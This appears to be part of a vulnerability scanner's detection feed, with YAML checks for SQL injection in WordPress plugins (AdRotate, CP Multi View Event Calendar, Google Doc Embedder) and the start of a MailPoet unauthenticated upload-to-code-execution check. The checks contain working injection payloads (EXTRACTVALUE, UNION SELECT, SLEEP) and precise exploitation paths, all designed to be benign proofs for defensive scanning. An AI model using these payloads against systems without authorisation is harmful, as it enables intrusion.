  - id: init-ct-resp
    action: set_var
    var_name: ct_resp
    var_value: {status: 0, headers: {}}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  - id: union-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/wp-content/plugins/adrotate/library/clicktracker.php?track={{sc.track}}"
    headers:
      User-Agent: "noctis-scanner-bot"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ct_resp

  # Location must be the computed product alone (a front proxy may have made
  # it absolute: accept it as the last path segment).
  - id: check-union
    action: script
    code: |
      let loc = "";
      if type_of(ct_resp.headers) == "map" && "location" in ct_resp.headers {
        loc = "" + ct_resp.headers["location"];
      }
      loc.trim();
      let hit = ct_resp.status >= 300 && ct_resp.status < 400
        && (loc == sc.prod || loc.ends_with("/" + sc.prod));
      #{ hit: hit, found: if hit { "Location: " + sc.prod } else { "" } }
    store_as: un

  - id: report-union
    action: match
    source: un.found
    pattern: "^Location: [0-9]+$"
    condition: "un.hit"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "UNION-based SQLi confirmed: {{wp_dir}}/wp-content/plugins/adrotate/library/clicktracker.php?track=base64(\"{{sc.raw}}\") answered HTTP {{ct_resp.status}} redirecting to the database-computed product {{sc.a}}*{{sc.b}} = {{sc.prod}}"
        remediation: "Update AdRotate (free) to 3.9.5 or later, or AdRotate Pro to a release later than 3.9.5."
      stop: true

WordPress CP Multi View Event Calendar calid SQL Injection

CVECVE-2014-8586
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2014-8586.yaml

The CP Multi View Event Calendar plugin for WordPress (1.0.1 and earlier) places the `calid` parameter of its unauthenticated event data feed (/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list) unquoted into an SQL query, allowing unauthenticated SQL injection.

This check injects an EXTRACTVALUE expression that makes the database return an XPATH error containing the sum of two random numbers, and confirms the computed sum appears in the reply. If database errors are shown but that expression is not supported, it falls back to a quote that must produce an SQL syntax error quoting a random marker while a request without the quote does not. If the site hides database errors, it falls back to a time-based check: two SLEEP delays of different random lengths must each delay the reply by the requested time over a baseline request. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=extractva…
  3. Parses / computes the next value with a Rhai script
  4. Checks xv.found for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Error-based SQLi confirmed: calid=extractvalue(1,concat(0x7e,(SELECT …+…))) on …/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list…
  5. HTTP(S) request GET {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1%22{{sc.…
  6. HTTP(S) request GET {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid={{sc.ctl}}
  7. Parses / computes the next value with a Rhai script
  8. Checks qm.found for ^NOCTIS[0-9]+Q$ → finding QoD 75: Error-based SQLi: calid=1"… on …/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list returned a MySQL syntax error quoting the injec…
  9. HTTP(S) request GET {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1%20AND%2…
  12. HTTP(S) request GET {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1%20AND%2…
  13. Parses / computes the next value with a Rhai script
  14. Checks tb.found for ^SLEEP$ → finding QoD 70: Time-based SQLi confirmed: calid=1 AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis) on …/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-8586.yaml
# WordPress CP Multi View Event Calendar <= 1.0.1 (a.k.a. 1.01) — calid SQL injection (CVE-2014-8586)
#
# The plugin's front-end data feed (/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed
# &method=list, unauthenticated) concatenates the `calid` GET parameter, unquoted,
# into the events query (numeric context: the public sqlmap output shows
# `calid=1 RLIKE ...`, `calid=1 UNION ALL SELECT ...#`). Fixed in 1.0.2
# ("Sanitized GET parameters used in queries").
#
# Source NASL (2014/gb_wordpress_multiview_event_cal_sql_vuln.nasl) sends
# `calid=1"SQLInjectionTest` and greps `You have an error in your SQL syntax.*SQLInjectionTest`.
# This feed keeps that check (with a random marker and a no-quote control) as
# its fallback and adds two stronger / wider branches:
#   1. QoD 97 — error-based, database-computed proof: calid=extractvalue(1,
#      concat(0x7e,(SELECT A+B))) with random 6-digit A, B. MySQL/MariaDB raise
#      "XPATH syntax error: '~<A+B>'": the sum is never in the request. Hex
#      literal and no quotes, so WordPress magic quotes on $_GET don't break it.
#      Verified on MariaDB 10.11 with an EMPTY events table (constant-folded,
#      no row read).
#   2. QoD 75 — the NASL's syntax-error check, random marker + control.
#   3. QoD 70 — row-independent time-based fallback for sites that hide
#      database errors (WordPress default without WP_DEBUG_DISPLAY — the NASL
#      is blind there): calid=1 AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis),
#      two random delays over a baseline, each matching the requested time
#      times the same multiple k (1..3, in case the plugin runs the injected
#      query more than once), with a >= k*2.5 s gap between them (a constant
#      tarpit gives a gap of ~0).
#      duration_ms covers the full response (#1924), so a proxy that flushes
#      headers early does not hide the delay.
# Beyond the NASL's detected install dir, the probe also walks the usual
# WordPress sub-directories.
#
# Read-only: no table is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL 2014/gb_wordpress_multiview_event_cal_sql_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.804870, GPL-2.0-only)
uid: de0461d0-6d25-46c0-b881-92f41e42dbfa
name: "WordPress CP Multi View Event Calendar calid SQL Injection (CVE-2014-8586)"
description: |
  The CP Multi View Event Calendar plugin for WordPress (1.0.1 and earlier)
  places the `calid` parameter of its unauthenticated event data feed
  (/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list) unquoted into
  an SQL query, allowing unauthenticated SQL injection.

  This check injects an EXTRACTVALUE expression that makes the database return
  an XPATH error containing the sum of two random numbers, and confirms the
  computed sum appears in the reply. If database errors are shown but that
  expression is not supported, it falls back to a quote that must produce an
  SQL syntax error quoting a random marker while a request without the quote
  does not. If the site hides database errors, it falls back to a time-based
  check: two SLEEP delays of different random lengths must each delay the
  reply by the requested time over a baseline request. Nothing is written and
  no data is read from the database.
cves: [CVE-2014-8586]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [wordpress, plugin, cp-multi-view-calendar, sqli, error-based, time-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8586"
  - "https://www.exploit-db.com/exploits/35073"
  - "OpenVAS/Greenbone NASL 2014/gb_wordpress_multiview_event_cal_sql_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Random operands, marker and sleep delays ──────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let s1 = rand_int(4, 5);
      #{ a: a, b: b, sum: "~" + (a + b), marker: "NOCTIS" + rand_int(10000000, 99999999) + "Q",
         ctl: "" + rand_int(100000, 999999), s1: s1, s2: s1 + 3 }
    store_as: sc

  # ── Per candidate WordPress base path (loop group) ────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-xv-resp
    action: set_var
    var_name: xv_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}

  - id: init-base-resp
    action: set_var
    var_name: base_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sleep1-resp
    action: set_var
    var_name: sleep1_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sleep2-resp
    action: set_var
    var_name: sleep2_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── Stage 1: EXTRACTVALUE error returning the database-computed sum ───────
  - id: xv-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=extractvalue(1,concat(0x7e,(SELECT%20{{sc.a}}%2B{{sc.b}})))"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: xv_resp

  - id: check-xv
    action: script
    code: |
      let body = if type_of(xv_resp.body) == "string" { xv_resp.body } else { "" };
      let hit = body.contains("XPATH syntax error") && body.contains(sc.sum);
      #{ hit: hit, found: if hit { "XPATH syntax error: " + sc.sum } else { "" } }
    store_as: xv

  - id: report-xv
    action: match
    source: xv.found
    pattern: "^XPATH syntax error: ~[0-9]+$"
    condition: "xv.hit"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Error-based SQLi confirmed: calid=extractvalue(1,concat(0x7e,(SELECT {{sc.a}}+{{sc.b}}))) on {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list made the database return an XPATH syntax error carrying the computed sum {{sc.sum}} (HTTP {{xv_resp.status}})"
      stop: true

  # ── Stage 2: SQL syntax error quoting a random marker + no-quote control ──
  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1%22{{sc.marker}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid={{sc.ctl}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  # The marker must sit in the database's "near '...'" excerpt (quotes may be
  # HTML-escaped by wpdb), and the control must show no SQL error at all.
  - id: check-qm
    action: script
    code: |
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let err = ereg("You have an error in your SQL syntax[^\\n]{0,200}near (?:'|&#0?39;|&#x27;|&apos;)[^\\n]{0,24}" + sc.marker, body);
      let hit = err && ctl_resp.status != 0 && !cbody.contains("error in your SQL syntax");
      #{ hit: hit, found: if hit { sc.marker } else { "" } }
    store_as: qm

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^NOCTIS[0-9]+Q$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Error-based SQLi: calid=1\"{{sc.marker}} on {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list returned a MySQL syntax error quoting the injected marker, while the control calid={{sc.ctl}} returned no SQL error (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

  # ── Stage 3 (errors hidden): row-independent time-based check ─────────────
  # Baseline first: a benign calid must answer quickly with HTTP 200 and no
  # SQL error (a site that shows errors was already handled above).
  - id: baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp

  - id: check-baseline
    action: script
    code: |
      let ok = base_resp.status == 200 && type_of(base_resp.body) == "string"
        && !base_resp.body.contains("error in your SQL syntax") && base_resp.duration_ms < 4000;
      #{ ok: ok }
    store_as: bl

  - id: sleep-probe-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sc.s1}})))noctis)"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: sleep1_resp

  - id: sleep-probe-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sc.s2}})))noctis)"
    condition: "bl.ok && sleep1_resp.duration_ms >= base_resp.duration_ms + sc.s1 * 1000 - 300"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: sleep2_resp

  # Each delay must match the requested SLEEP times the same whole multiple k
  # (1..3: the plugin may run the injected query more than once), and the
  # longer SLEEP must take at least k * 2.5 s more than the shorter one — a
  # tarpit adding the same delay to every request gives a gap of ~0.
  - id: check-timing
    action: script
    code: |
      let base = base_resp.duration_ms;
      let d1 = sleep1_resp.duration_ms - base;
      let d2 = sleep2_resp.duration_ms - base;
      let ok = false;
      if bl.ok && sleep1_resp.status == 200 && sleep2_resp.status == 200
        && d1 >= sc.s1 * 1000 - 300 && d2 >= sc.s2 * 1000 - 300 {
        for k in 1..4 {
          let w1 = d1 >= k * sc.s1 * 1000 - 300 && d1 <= k * sc.s1 * 1000 + 2500;
          let w2 = d2 >= k * sc.s2 * 1000 - 300 && d2 <= k * sc.s2 * 1000 + 2500;
          if w1 && w2 && (d2 - d1) >= k * 2500 { ok = true; }
        }
      }
      #{ blind: ok, found: if ok { "SLEEP" } else { "" } }
    store_as: tb

  - id: report-time
    action: match
    source: tb.found
    pattern: "^SLEEP$"
    condition: "tb.blind"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Time-based SQLi confirmed: calid=1 AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis) on {{wp_dir}}/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{sleep1_resp.duration_ms}} ms, SLEEP({{sc.s2}}) {{sleep2_resp.duration_ms}} ms"
      stop: true

WordPress Google Doc Embedder view.php gpid SQL Injection

CVECVE-2014-9173
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2014-9173.yaml

The Google Doc Embedder plugin for WordPress before 2.5.15 places the gpid parameter of its Enhanced Viewer (wp-content/plugins/google-document-embedder/view.php), which needs no login, unquoted into the SQL query that loads a viewer profile, allowing unauthenticated SQL injection.

This check first sends a gpid whose UNION SELECT returns a viewer profile with a custom stylesheet address built by the database from the product of two random numbers, and confirms the page links that exact product as its stylesheet. When the viewer cannot display the document (for example because the server cannot reach the Google viewer), it confirms the injection by timing instead: after a benign baseline request, two requests whose gpid makes the database sleep for two different random delays must each be slowed by their delay. Nothing is read from or written to the database. The site root and the usual WordPress sub-directories are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wp_dir}}{{sc.base}}{{sc.un_q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks un.found for ^<link rel="stylesheet" type="text/css" href="NOCTIS[0-9]+END">$ → finding QoD 97: UNION-based SQLi confirmed: GET …/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=… returned a viewer page linking the…
  5. HTTP(S) request GET {{wp_dir}}{{sc.base}}1
  6. HTTP(S) request GET {{wp_dir}}{{sc.base}}1
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{wp_dir}}{{sc.base}}0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s2}})))nctq)
  9. HTTP(S) request GET {{wp_dir}}{{sc.base}}0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s1}})))nctq)
  10. Parses / computes the next value with a Rhai script
  11. Checks tm.found for ^SLEEP$ → finding QoD 75: Time-based SQLi in gpid of GET …/wp-content/plugins/google-document-embedder/view.php?embedded=1: gpid=0 OR (SELECT * FROM (SELECT(SLEEP(n)…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-9173.yaml
# WordPress Google Doc Embedder <= 2.5.14 — view.php 'gpid' SQL injection (CVE-2014-9173)
#
# wp-content/plugins/google-document-embedder/view.php (the "Enhanced Viewer",
# reachable without login: it loads wp-load.php itself) runs, for any request
# carrying embedded=1 (or mobile/chrome) and gpid=<x>:
#     gde_get_profile($_GET['gpid'])
#       SELECT * FROM <prefix>gde_profiles WHERE profile_id = $id   (unquoted)
#       $profile = unserialize($row[0]['profile_data'])
# then fetches https://docs.google.com/viewer?<query string> and, when that
# answers 200, replaces "</head>" in the Google page with
#     <link rel="stylesheet" type="text/css" href="<profile vw_css>">
# When the Google fetch fails it prints the plugin's own error page
# (<title>GDE Error: </title>). 2.5.15 removed view.php altogether ("Enhanced
# Viewer ... removed pending rewrite after Google breakage").
# (source read from the wp-plugins/google-document-embedder mirror, tags
# 2.5.14 and 2.5.15)
#
# Source NASL (2014/gb_wp_google_document_embedder_sql_inj_vuln.nasl) UNION-
# selects a serialized profile whose vw_css is wp_users.user_registered of
# user ID 1 and looks for a date in the <link> href. That needs a `wp_` table
# prefix, reads account data, and only works when the target can still fetch
# the Google viewer page with a 200 — Google changed that page in 2014 (the
# reason 2.5.15 dropped the viewer), and hosts without outbound access never
# get there, so the reference check misses most installs.
# This feed:
#   1. UNION-selects a serialized profile whose vw_css is "NOCTIS<a*b>END",
#      the product of two random numbers computed by the database (every
#      string is a 0x hex literal: no quote for WordPress's addslashes), and
#      reports at QoD 97 when the <link> href carries that exact product.
#      No table but the plugin's own is named, nothing is read.
#   2. Otherwise, when the reply is the plugin's viewer (its own error page or
#      the proxied Google page), falls back to a time-based proof: a benign
#      gpid=1 baseline (sent twice, the faster one kept), then
#      gpid=0 OR (SELECT * FROM (SELECT(SLEEP(n)))x) for a long then a short
#      random delay; each must land in its own window over the baseline and
#      the longer one must take >= 2 s more (a tarpit that holds every
#      SLEEP-looking request for the same time stays clean) — QoD 75. The
#      derived table makes MySQL sleep exactly once (no profile row needs to
#      exist); SLEEP() returns 0, so the condition is false and no profile is
#      loaded. A baseline up to 25 s is accepted: hosts whose outbound traffic
#      is dropped wait for the plugin's 20 s Google fetch timeout.
# view.php sends its headers only after the SQL query and the Google fetch, so
# http_request's header-time duration_ms covers the delay. The site root and
# the usual WordPress sub-directories are tried. Read-only: nothing is written.
#
# Source: OpenVAS/Greenbone NASL 2014/gb_wp_google_document_embedder_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805107, GPL-2.0-only)
uid: 300835c5-83f1-4bf8-8f86-37367cc32f03
name: "WordPress Google Doc Embedder view.php gpid SQL Injection (CVE-2014-9173)"
description: |
  The Google Doc Embedder plugin for WordPress before 2.5.15 places the gpid
  parameter of its Enhanced Viewer (wp-content/plugins/google-document-embedder/view.php),
  which needs no login, unquoted into the SQL query that loads a viewer
  profile, allowing unauthenticated SQL injection.

  This check first sends a gpid whose UNION SELECT returns a viewer profile
  with a custom stylesheet address built by the database from the product of
  two random numbers, and confirms the page links that exact product as its
  stylesheet. When the viewer cannot display the document (for example
  because the server cannot reach the Google viewer), it confirms the
  injection by timing instead: after a benign baseline request, two requests
  whose gpid makes the database sleep for two different random delays must
  each be slowed by their delay. Nothing is read from or written to the
  database. The site root and the usual WordPress sub-directories are tried.
cves: [CVE-2014-9173]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [wordpress, plugin, google-doc-embedder, sqli, union-based, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9173"
  - "https://wordpress.org/plugins/google-document-embedder/"
  - "https://www.exploit-db.com/exploits/35371"

steps:
  # ── Random operands, the serialized profile and the delays ─────────────────
  # profile_data = a:1:{s:6:"vw_css";s:<L>:"NOCTIS<a*b>END";} — L is the
  # length of the computed value, so unserialize() only succeeds when the
  # database really multiplied a*b.
  - id: gen
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      let prod = "" + (a * b);
      let val = "NOCTIS" + prod + "END";
      let head = "a:1:{s:6:\"vw_css\";s:" + strlen(val) + ":\"NOCTIS";
      let tail = "END\";}";
      let un_sql = "0 UNION SELECT 1,2,3,CONCAT(0x" + hexstr(head) + "," + a + "*" + b + ",0x" + hexstr(tail) + ")";
      let s1 = rand_int(4, 5);
      #{
        a: a, b: b, prod: prod, val: val, s1: s1, s2: s1 + 3,
        un_sql: un_sql,
        un_q: str_replace(un_sql, " ", "%20"),
        base: "/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid="
      }
    store_as: sc

  # ── Per candidate WordPress base path (loop group) ─────────────────────────
  # Pre-initialise every stored result a script reads: a failed request
  # leaves store_as unset and an undefined var would abort the whole test.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: null, duration_ms: 0}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  - id: init-base1
    action: set_var
    var_name: base1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-base2
    action: set_var
    var_name: base2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sl1
    action: set_var
    var_name: sl1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sl2
    action: set_var
    var_name: sl2
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── 1. UNION-selected profile: computed product in the stylesheet link ─────
  - id: union-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}{{sc.base}}{{sc.un_q}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: probe

  - id: check-union
    action: script
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      let link = "<link rel=\"stylesheet\" type=\"text/css\" href=\"" + sc.val + "\">";
      let hit = probe.status == 200 && body.contains(link);
      let viewer = probe.status == 200 && (
        egrep("<title>GDE [^<]*: </title>", body) != "" ||
        body.contains("?jsfile=gview/resources_gview"));
      #{ hit: hit, viewer: viewer, found: if hit { link } else { "" } }
    store_as: un

  - id: report-union
    action: match
    source: un.found
    pattern: "^<link rel=\"stylesheet\" type=\"text/css\" href=\"NOCTIS[0-9]+END\">$"
    condition: "un.hit"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "UNION-based SQLi confirmed: GET {{wp_dir}}/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid={{sc.un_sql}} returned a viewer page linking the stylesheet href=\"{{sc.val}}\" — the database-computed product {{sc.a}}*{{sc.b}} = {{sc.prod}} from the injected profile"
        remediation: "Update Google Doc Embedder to 2.5.15 or later (view.php removed), or delete wp-content/plugins/google-document-embedder/view.php."
      stop: true

  # ── 2. Time-based fallback on the plugin's viewer page ─────────────────────
  - id: baseline-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}{{sc.base}}1"
    condition: "un.viewer && !un.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: base1

  - id: baseline-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}{{sc.base}}1"
    condition: "un.viewer && !un.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: base2

  - id: check-baseline
    action: script
    code: |
      let ok = un.viewer && !un.hit && base1.status == 200 && base2.status == 200;
      let d = if base1.duration_ms < base2.duration_ms { base1.duration_ms } else { base2.duration_ms };
      #{ ok: ok && d < 25000, d: d }
    store_as: bl

  - id: sleep-long
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}{{sc.base}}0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s2}})))nctq)"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl2

  - id: sleep-short
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}{{sc.base}}0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s1}})))nctq)"
    condition: "bl.ok && sl2.duration_ms >= bl.d + sc.s2 * 1000 - 1000 && sl2.duration_ms <= bl.d + sc.s2 * 1000 + 4000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl1

  # Each delay within its own window over the baseline, and the longer SLEEP
  # measurably longer than the shorter one (a constant tarpit gives no gap).
  - id: check-timing
    action: script
    code: |
      let d1 = sl1.duration_ms - bl.d;
      let d2 = sl2.duration_ms - bl.d;
      let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
      let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
      let hit = bl.ok && sl1.status == 200 && sl2.status == 200 && w1 && w2 && (d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "SLEEP" } else { "" } }
    store_as: tm

  - id: report-timing
    action: match
    source: tm.found
    pattern: "^SLEEP$"
    condition: "tm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi in gpid of GET {{wp_dir}}/wp-content/plugins/google-document-embedder/view.php?embedded=1: gpid=0 OR (SELECT * FROM (SELECT(SLEEP(n)))nctq) delayed the plugin's viewer reply by the injected n — baseline {{bl.d}} ms, SLEEP({{sc.s1}}) {{sl1.duration_ms}} ms, SLEEP({{sc.s2}}) {{sl2.duration_ms}} ms"
        remediation: "Update Google Doc Embedder to 2.5.15 or later (view.php removed), or delete wp-content/plugins/google-document-embedder/view.php."
      stop: true

WordPress MailPoet Newsletters < 2.6.8 unauthenticated theme upload code execution

CVECVE-2014-4725
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2014-4725.yaml

Tests the MailPoet Newsletters (wysija-newsletters) plugin for WordPress for CVE-2014-4725, an unauthenticated theme upload that leads to PHP code execution. When the plugin's readme.txt is found, the test posts a small theme zip to wp-admin/admin-post.php without logging in, including the request parameter that also bypasses the incomplete fix of version 2.6.7. The zip holds a one-line PHP file that prints the sum of two random numbers passed in the query string and then deletes itself, the theme's style.css and the theme folder. The test then requests that file from wp-content/uploads/wysija/themes/: the correct sum in the reply confirms that the uploaded file ran as PHP code. If the theme upload handler accepted the request without a login but the file did not run, a lower-confidence finding is reported instead, and the harmless test theme may remain in the uploads directory. The plugin itself may also keep a "theme installed" notice for its admin pages and the empty wysija/themes and wysija/temp folders it creates on first use. The web root, /wordpress and /blog are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/wp-content/plugins/wysija-newsletters/readme.txt
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Opens a persistent TCP/TLS socket
  7. Sends a binary frame on the open socket
  8. Sends … on the open socket
  9. Sends … on the open socket
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{base}}/wp-content/uploads/wysija/themes/noctis{{m.tok}}/noctis{{m.tok}}.php?a={{m.a…
  12. Parses / computes the next value with a Rhai script
  13. Checks run.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated theme upload + PHP execution confirmed: POST …/wp-admin/admin-post.php?page=wysija_campaigns&action=themes (action=themeupl…
  14. Checks accepted == true && rce_hit != true → finding QoD 75: POST …/wp-admin/admin-post.php?page=wysija_campaigns&action=themes (action=themeupload, no login) was answered by the theme-upload handler'…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-4725.yaml
# WordPress MailPoet Newsletters (wysija-newsletters) < 2.6.8 — unauthenticated theme
# upload to code execution (CVE-2014-4725)
#
# The plugin hooks its back-end controller on admin_init, which wp-admin/admin-post.php
# fires for anonymous visitors too. So POST
#   /wp-admin/admin-post.php?page=wysija_campaigns&action=themes
# with action=themeupload and a theme zip in "my-theme" unpacks the zip into
# wp-content/uploads/wysija/themes/<folder>/ without any login, and a PHP file in it runs
# on a direct request. 2.6.7 added verify_capability(), but it read $_REQUEST['page'],
# which a POST field overrides (PHP request_order "GP"): a POST page value that does not
# start with "wysija_" skips the check. 2.6.8 reads $_GET['page'] (helpers/back.php).
#
# Detection (per candidate base: /, /wordpress, /blog):
#   1. Gate: the plugin's readme.txt ("=== MailPoet Newsletters ===" or the older
#      "=== Wysija Newsletters ===") must answer, so no zip is sent to unrelated sites.
#   2. Real, benign exploitation (QoD 97): upload a zip holding one folder
#      noctis<tok>/ with an empty style.css and noctis<tok>.php, a one-line script that
#      prints NOCTIS<a+b>END for the a and b query values and then deletes style.css,
#      itself and its folder. The zip is sent raw over tcp_open/tcp_send (binary body),
#      with the POST "page" override, so 2.6.7 is covered as well. Then GET
#      the script with random a and b: only PHP that really ran can return their sum.
#   3. Fallback (QoD 75): the upload request got the theme-upload handler's own
#      302 to "admin.php?page=wysija_campaigns&action=themes&reload=1" without a
#      login, but the script did not answer with the sum (PHP not run under uploads/,
#      unwritable uploads dir…). The inert theme folder may then stay behind.
#
# Zip layout: two stored (uncompressed) entries; the PHP content is fixed, so its
# CRC-32 (0xcb7e58ae, 150 bytes) is precomputed and only the 8-char token is
# substituted (6 times, "@T@") into the names.
